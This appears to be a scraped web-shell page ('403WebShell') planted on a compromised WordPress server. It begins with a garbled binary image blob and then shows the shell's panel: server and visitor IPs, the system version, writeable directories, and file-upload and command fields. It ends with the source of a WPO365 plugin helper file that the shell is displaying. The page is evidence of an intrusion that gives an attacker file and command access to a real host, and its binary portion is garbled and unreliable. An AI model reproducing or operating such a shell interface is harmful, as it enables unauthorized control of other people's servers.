....................................../////.===Hehe-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 172.67.169.23  /  Your IP : 216.73.217.46
Web Server : nginx/1.28.3
System : Linux 4e27b89abc44 6.8.0-147-generic #147-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 24 11:33:16 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /sites/xo-fab.com/www/graphmailerwp/wp-content/plugins/wpo365-msgraphmailer/Core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /sites/xo-fab.com/www/graphmailerwp/wp-content/plugins/wpo365-msgraphmailer/Core/Plugin_Helpers.php
<?php

namespace Wpo\Core;

use \Wpo\Core\Extensions_Helpers;
use Wpo\Services\Log_Service;
use \Wpo\Services\Options_Service;

// Prevent public access to this script
defined('ABSPATH') or die();

if (!class_exists('\Wpo\Core\Plugin_Helpers')) {

    class Plugin_Helpers
    {
        /**
         * Helper to check if a premium WPO365 plugin edition is active.
         */
        public static function is_premium_edition_active($slug = null)
        {
            Log_Service::write_log('WARN', sprintf('%s -> Method is deprecated - Please update all your WPO365 plugins to version 27.0 or later', __METHOD__));

            if (empty($slug)) {
                $extensions = Extensions_Helpers::get_extensions();

                foreach ($extensions as $slug => $extension) {

                    if (true === $extension['activated']) {
                        return true;
                    }
                }

                return false;
            }

            if (false === function_exists('is_plugin_active')) {
                require_once ABSPATH . 'wp-admin/includes/plugin.php';
            }

            return \is_plugin_active($slug);
        }

        /**
         * WPMU aware wp filter extension to show the action link on the plugins page. Will add 
         * the wpo365 configuration action link depending on the WPMU configuration
         * 
         * @since 7.3
         * 
         * @param Array $links The current action link collection
         * 
         * @return Array The new action link collection
         */
        public static function get_configuration_action_link($links)
        {
            // Don't show the configuration link for subsite admin if subsite options shouldn't be used
            if (is_multisite() && !is_network_admin() && false === Options_Service::mu_use_subsite_options())
                return $links;

            $wizard_link = '<a href="admin.php?page=wpo365-wizard">' . __('Configuration', 'wpo365-login') . '</a>';
            array_push($links, $wizard_link);

            return $links;
        }

        /**
         * Iterates all installed WPO365 premium extensions and checks for updates.
         * 
         * @since 32.0
         * 
         * @param object|null $check_for_updates_data 
         * @return object 
         */
        public static function check_for_updates($check_for_updates_data)
        {
            if (null === $check_for_updates_data) {
                return $check_for_updates_data;
            }

            $installed_plugins = Extensions_Helpers::get_extensions();

            if (empty($installed_plugins)) {
                return $check_for_updates_data;
            }

            $updates = self::get_plugin_update_info($installed_plugins);

            foreach ($updates as $filename => $plugin_update_info) {
                $current_version = $installed_plugins[$filename]['version'];

                if (
                    !empty($plugin_update_info->new_version)
                    && version_compare($plugin_update_info->new_version, $current_version, '>')
                ) {
                    $check_for_updates_data->response[$filename] = $plugin_update_info;
                } else {
                    $check_for_updates_data->no_update[$filename] = $plugin_update_info;
                }
            }

            return $check_for_updates_data;
        }

        public static function check_licenses()
        {
            Wpmu_Helpers::mu_delete_transient('wpo365_lic_notices');
            $extensions = Extensions_Helpers::get_active_extensions();
            wp_clean_plugins_cache(true);

            foreach ($extensions as $slug => $extension) {
                list($license_key, $url) = self::get_plugin_license_key($extension);

                if (true === $extension['activated']) {
                    self::check_license($extension, $license_key, $url);
                }
            }
        }

        public static function show_license_notices()
        {
            // Get all license related admin notices
            $lic_notices = Wpmu_Helpers::mu_get_transient('wpo365_lic_notices');

            if (\is_array($lic_notices)) {

                foreach ($lic_notices as $lic_notice) {
                    add_action('admin_notices', function () use ($lic_notice) {
                        printf('<div class="notice notice-error" style="margin-left: 2px;"><p>%s</p></div>', __($lic_notice));
                    }, 10, 0);
                    add_action('network_admin_notices', function () use ($lic_notice) {
                        printf('<div class="notice notice-error" style="margin-left: 2px;"><p>%s</p></div>', __($lic_notice));
                    }, 10, 0);
                }
            }
        }

        /**
         * Hooks in to the plugins API to view details of available plugin updates.
         * 
         * @since 32.0
         * 
         * @param object|false $res 
         * @param string $action 
         * @param object $args 
         * @return object|false 
         */
        public static function plugin_info($res, $action, $args)
        {
            // Nothing to do
            if ('plugin_information' !== $action) {
                return $res;
            }

            // Check the cache.
            $cache_key = 'wpo365_plugins_updated';
            $data = get_site_transient($cache_key);

            // No cached updates found
            if (!isset($data['plugins']) || !is_array($data['plugins'])) {
                return $res;
            }

            // Prepare the plugin info if found
            foreach ($data['plugins'] as $filename => $plugin_info) {
                $slug = sprintf('%s/', $args->slug);

                if (false !== WordPress_Helpers::stripos($filename, $slug)) {
                    return $plugin_info;
                }
            }

            return $res;
        }

        /**
         * Shows a compatibility warning for older versions of premium plugins.
         * 
         * @since 32.0
         * 
         * @param array $plugin_meta 
         * @param string $file_name 
         * @return array  
         */
        public static function show_old_version_warning($plugin_meta, $file_name)
        {
            if (false !== WordPress_Helpers::stripos($file_name, 'wpo365')) {
                $non_premium_plugin_folders = array(
                    'wpo365-login/',
                    'wpo365-msgraphmailer/',
                    'wpo365-samesite/',
                    'wpo365-developer/'
                );

                $plugin_folder = explode('/', $file_name);
                $plugin_folder = $plugin_folder[0] . '/';

                if (!in_array($plugin_folder, $non_premium_plugin_folders)) {
                    $update_plugins = get_site_transient('update_plugins');

                    if (is_object($update_plugins) && property_exists($update_plugins, 'response') && isset($update_plugins->response[$file_name])) {
                        $plugin_row = array('<div style="display: block; color: red; padding: 10px; margin-top: 20px; border: 1px solid; background-color: #ffffff; font-weight: 600;">');
                        $plugin_row[] = '<div style="display: block; padding-bottom: 5px;"><span class="dashicons dashicons-warning"></span>&nbsp;Compatibility alert</div>';
                        $plugin_row[] = sprintf('<div style="display: block;"><span style="font-weight: 400; color: #000000;">The currently installed version of this plugin has not been tested with the latest version of %s. To avoid issues, make sure you update your plugins regularly.</span></div></div>', class_exists('\Wpo\Login') ? 'WPO365 | LOGIN' : 'WPO365 | MICROSOFT GRAPH MAILER');
                        $plugin_meta[] = implode('', $plugin_row);
                    }
                }
            }

            return $plugin_meta;
        }

        private static function get_plugin_update_info($installed_plugins)
        {
            foreach ($installed_plugins as $slug => $plugin_data) {
                list($license_key) = self::get_plugin_license_key($plugin_data);
                $installed_plugins[$slug]['license_key'] = $license_key;
            }

            $hash = md5(wp_json_encode($installed_plugins));

            // Check the cache.
            $cache_key = 'wpo365_plugins_updated';
            $data = get_site_transient($cache_key);

            if (isset($data['hash'], $data['plugins']) && $hash === $data['hash']) {
                return $data['plugins'];
            }

            $data = array(
                'hash' => $hash,
                'plugins' => array(),
            );

            $plugin_version_infos = self::get_version_from_remote($installed_plugins);

            if (is_array($plugin_version_infos)) {

                foreach ($plugin_version_infos as $filename => $plugin_version_info) {
                    $data['plugins'][$filename] = (object) $plugin_version_info;
                }
            }

            set_site_transient($cache_key, $data, 12 * HOUR_IN_SECONDS);

            return $data['plugins'];
        }

        /**
         * Prompt WordPress to clean its plugin-updates cache and refresh the cached data for premium WPO365 plugins. 
         * 
         * @since 32.0
         * 
         * @return void 
         */
        public static function force_check_for_plugin_updates()
        {
            if (
                !is_user_logged_in()
                || !current_user_can('administrator')
                || empty($_POST)
                || !check_admin_referer('wpo365_force_check_for_plugin_updates', 'wpo365_force_check_for_plugin_updates_nonce')
            ) {
                wp_die('Forbidden', '403 Forbidden', array('response' => 403));
            }

            delete_site_transient('wpo365_plugins_updated');
            wp_clean_plugins_cache(true);
            $goto_after = admin_url('plugins.php');
            wp_redirect($goto_after);
            die();
        }

        /**
         * Connects to the EDD SL service endpoint at wpo365.com to get the 
         * plugin update info for the plugin in question.
         * 
         * @param   array           $plugin_data
         * @return  false|object    The (EDD) plugin update info from the wpo365.com server; Otherwise false.
         */
        private static function get_version_from_remote($installed_plugins)
        {
            if (self::request_recently_failed()) {
                return false;
            }

            $api_params = array(
                'edd_action' => 'get_version',
                'products' => array(),
            );

            foreach ($installed_plugins as $slug => $installed_plugin) {
                $api_params['products'][$slug] = array(
                    'license'     => isset($installed_plugin['license_key']) ? $installed_plugin['license_key'] : '',
                    'item_id'     => isset($installed_plugin['store_item_id']) ? $installed_plugin['store_item_id'] : false,
                    'url'         => home_url(),
                );
            }

            $request = wp_remote_post(
                $GLOBALS['WPO_CONFIG']['store'],
                array(
                    'sslverify' => true,
                    'body'      => $api_params,
                    'headers'   => array('Expect' => ''),
                )
            );

            if (is_wp_error($request) || (200 !== wp_remote_retrieve_response_code($request))) {
                $slugs = array_keys($installed_plugins);
                Log_Service::write_log('WARN', sprintf('%s -> Could not retrieve version info from wpo365.com for the following plugins: %s', __METHOD__, implode(', ', $slugs)));
                self::log_failed_request();
                return false;
            }

            $plugin_version_infos = json_decode(wp_remote_retrieve_body($request));
            $result = array();

            foreach ($plugin_version_infos as $filename => $plugin_version_info) {

                if (isset($plugin_version_info->sections)) {
                    $plugin_version_info->sections = maybe_unserialize($plugin_version_info->sections);
                } else {
                    return false;
                }

                if (isset($plugin_version_info->banners)) {
                    $plugin_version_info->banners = maybe_unserialize($plugin_version_info->banners);
                }

                if (isset($plugin_version_info->icons)) {
                    $plugin_version_info->icons = maybe_unserialize($plugin_version_info->icons);
                }

                if (!empty($plugin_version_info->sections)) {

                    foreach ($plugin_version_info->sections as $key => $section) {
                        $plugin_version_info->$key = (array) $section;
                    }
                }

                // Correct the wrong slug that EDD is making up out of get_next_post_where
                $plugin_version_info->slug = substr($filename, 0, WordPress_Helpers::stripos($filename, '/'));

                // This is required for your plugin to support auto-updates in WordPress 5.5.
                $plugin_version_info->plugin = $filename;
                $plugin_version_info->id     = $filename;
                $plugin_version_info->tested = self::get_tested_version($plugin_version_info);

                $result[$filename] = $plugin_version_info;
            }

            return $result;
        }

        /**
         * Reads the license key for the plugin in question from the site's (network)
         * options.
         * 
         * @param   array   $plugin_data 
         * @return  array   The license key entered by the admin and the URL
         */
        private static function get_plugin_license_key($plugin_data)
        {
            $store_item_id = $plugin_data['store_item_id'];
            $license_key_name = \sprintf("license_%d", $store_item_id);
            $license_key = '';
            $url = '';
            $network_options = get_site_option('wpo365_options');

            if (!empty($network_options[$license_key_name])) {
                $license_key = $network_options[$license_key_name];

                if (WordPress_Helpers::stripos($license_key, '|') > -1) {
                    list($license_key, $url) = explode('|', $license_key);
                }
            }

            return array(
                $license_key,
                $url,
            );
        }

        private static function check_license($extension, $license_key, $url = '')
        {
            Log_Service::write_log('DEBUG', sprintf(
                '##### -> %s [%s]',
                __METHOD__,
                $extension['store_item']
            ));

            if (self::request_recently_failed()) {
                return false;
            }

            $lic_notices = Wpmu_Helpers::mu_get_transient('wpo365_lic_notices');

            if (empty($lic_notices)) {
                $lic_notices = array();
            }

            $lic_url = is_multisite()
                ? network_admin_url('admin.php?page=wpo365-manage-licenses')
                : admin_url('admin.php?page=wpo365-manage-licenses');

            $empty_url_arg = empty($url);

            if ($empty_url_arg) {
                $url = is_multisite() ? network_home_url() : home_url();
            } else {
                $_url = is_multisite() ? network_home_url() : home_url();

                // Check if the URL that was previously valid has changed
                if (strcasecmp(trailingslashit($url), trailingslashit($_url)) !== 0) {
                    $host = parse_url($_url, PHP_URL_HOST);

                    // Ignore the case where the hostname is an IP address
                    if (false !== filter_var($host, FILTER_VALIDATE_IP)) {
                        return;
                    }
                }
            }

            $skip_license_check = false;

            if (false !== WordPress_Helpers::stripos($url, 'localhost')) {
                $skip_license_check = true;
            } else {
                $url_host = parse_url($url, PHP_URL_HOST);
                $url_path = parse_url($url, PHP_URL_PATH);

                $url_host_segments = explode('.', $url_host);

                for ($i = 0; $i < count($url_host_segments) && $i < 2; $i++) {
                    array_pop($url_host_segments);
                }

                $url_subdomain = implode('.', $url_host_segments);
                $skip_list = array('dev', 'test', 'staging', 'stage', 'preprod', 'pre-prod,', 'uat', 'quality');

                foreach ($skip_list as $skip) {

                    if (false !== WordPress_Helpers::stripos($url_path, $skip)) {
                        $skip_license_check = true;
                        break;
                    }

                    if (false !== WordPress_Helpers::stripos($url_subdomain, $skip)) {
                        $skip_license_check = true;
                        break;
                    }
                }
            }

            if ($skip_license_check) {
                Log_Service::write_log('DEBUG', sprintf(
                    '%s -> Skipping license check for %s using URL %s',
                    __METHOD__,
                    $extension['store_item'],
                    $url
                ));
                return;
            }

            Log_Service::write_log('DEBUG', sprintf(
                '%s -> Checking license for %s using %s',
                __METHOD__,
                $extension['store_item'],
                $url
            ));

            // Generate warning if license was not found
            if (empty($license_key)) {
                $lic_notices[] = \sprintf(
                    'Could not find a license for <strong>%s</strong>. Please go to <a href="%s">WP Admin > WPO365 > Licenses</a> and activate your license or purchase a <a href="%s" target="_blank">new license online</a>. See the <a href="%s" target="_blank">End User License Agreement</a> for details',
                    $extension['store_item'],
                    $lic_url,
                    $extension['store_url'],
                    'https://www.wpo365.com/end-user-license-agreement/'
                );
                Wpmu_Helpers::mu_set_transient('wpo365_lic_notices', $lic_notices);
                return;
            }

            // Call the custom API.
            $response = wp_remote_get(\sprintf("https://www.wpo365.com/?edd_action=check_license&license=%s&item_id=%s&url=%s", $license_key, $extension['store_item_id'], $url), array('timeout' => 15, 'sslverify' => false));

            // make sure the response came back okay
            if (is_wp_error($response) || 200 !== wp_remote_retrieve_response_code($response)) {

                if (is_wp_error($response)) {
                    $message = $response->get_error_message();
                } else {
                    $message = __('An error occurred, please try again.');
                }

                Log_Service::write_log('WARN', sprintf('%s -> %s', __METHOD__, $message));
                self::log_failed_request();

                Log_Service::write_log('ERROR', __METHOD__ . ' -> ' . $message);
            }

            $license_data = json_decode(wp_remote_retrieve_body($response));
            $message = '';

            switch ($license_data->license) {

                case 'valid':

                    Log_Service::write_log('DEBUG', sprintf(
                        '%s -> License key for %s is valid',
                        __METHOD__,
                        $extension['store_item']
                    ));

                    /**
                     * @since   23.0    Lets cache the URL for which the license check was successful
                     */

                    if ($empty_url_arg) {
                        $license_key_name = \sprintf("license_%d", $extension['store_item_id']);
                        $network_options = get_site_option('wpo365_options');

                        if (!empty($network_options[$license_key_name])) {
                            $network_options[$license_key_name] = sprintf('%s|%s', $license_key, $url);
                            update_site_option('wpo365_options', $network_options);
                            $GLOBALS['WPO_CONFIG']['options'] = array();
                        }
                    }

                    return;

                case 'expired':
                    $message = sprintf(
                        __('Your license key for <strong>%s</strong> expired on %s. Please go to <a href="%s" target="_blank">WP Admin > WPO365 > Licenses</a> and update your license or purchase a <a href="%s" target="_blank">new license online</a>. See the <a href="%s" target="_blank">End User License Agreement</a> for details'),
                        $extension['store_item'],
                        date_i18n(get_option('date_format'), strtotime($license_data->expires, current_time('timestamp'))),
                        $lic_url,
                        $extension['store_url'],
                        'https://www.wpo365.com/end-user-license-agreement/'
                    );
                    break;

                case 'disabled':
                    $message =
                        sprintf(
                            __('Your license key for <strong>%s</strong> has been disabled. Please go to <a href="%s" target="_blank">WP Admin > WPO365 > Licenses</a> and update your license or purchase a <a href="%s" target="_blank">new license online</a>. See the <a href="%s" target="_blank">End User License Agreement</a> for details'),
                            $extension['store_item'],
                            $lic_url,
                            $extension['store_url'],
                            'https://www.wpo365.com/end-user-license-agreement/'
                        );
                    break;

                case 'key_mismatch':
                case 'item_name_mismatch':
                    $message =
                        sprintf(
                            __('Your license key for <strong>%s</strong> is not valid for this product. Please go to <a href="%s" target="_blank">WP Admin > WPO365 > Licenses</a> and update your license key or purchase additional <a href="%s" target="_blank">licenses online</a>. See the <a href="%s" target="_blank">End User License Agreement</a> for details'),
